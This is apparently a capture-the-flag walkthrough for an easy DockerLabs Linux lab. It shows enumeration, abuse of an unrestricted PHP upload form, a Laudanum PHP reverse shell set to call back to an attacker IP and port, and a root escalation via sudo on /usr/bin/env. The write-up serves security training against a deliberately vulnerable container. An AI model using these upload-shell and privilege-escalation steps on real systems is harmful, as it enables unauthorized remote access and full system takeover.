DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
HTTP (80)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Upload here your file
Dirsearch
200 - 503B - /upload.php
301 - 310B - /uploads -> http://172.17.0.2/uploads/
200 - 404B - /uploads/
Index
- Form to upload a file
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<br>
<input type="submit" name="submit" value="Upload File">
</form>
Testing upload feature
New php file
❯ echo "<?php echo 'hello world'; ?>" > testing.php
❯ cat testing.php
<?php echo 'hello world'; ?>
/uploads/ directory
File UploadworksDirectory listingenable

testing.php works
❯ curl http://172.17.0.2/uploads/testing.php
hello world%
Exploitation
Preparing a PHP reverse shell
❯ cp /usr/share/laudanum/php/php-reverse-shell.php shell.php
# lines to Change
$ip = '10.2.2.1'; // CHANGE THIS
$port = 8888; // CHANGE THIS
PHP reverse shell works

Access as www-data
www-data@ada100dedee8:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation
SUDO permissions
www-data@ada100dedee8:/$ sudo -l
Matching Defaults entries for www-data on ada100dedee8:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on ada100dedee8:
(root) NOPASSWD: /usr/bin/env
Privest to root
- Using
envbinary
www-data@ada100dedee8:/$ sudo /usr/bin/env /bin/bash -p
root@ada100dedee8:/# id
uid=0(root) gid=0(root) groups=0(root)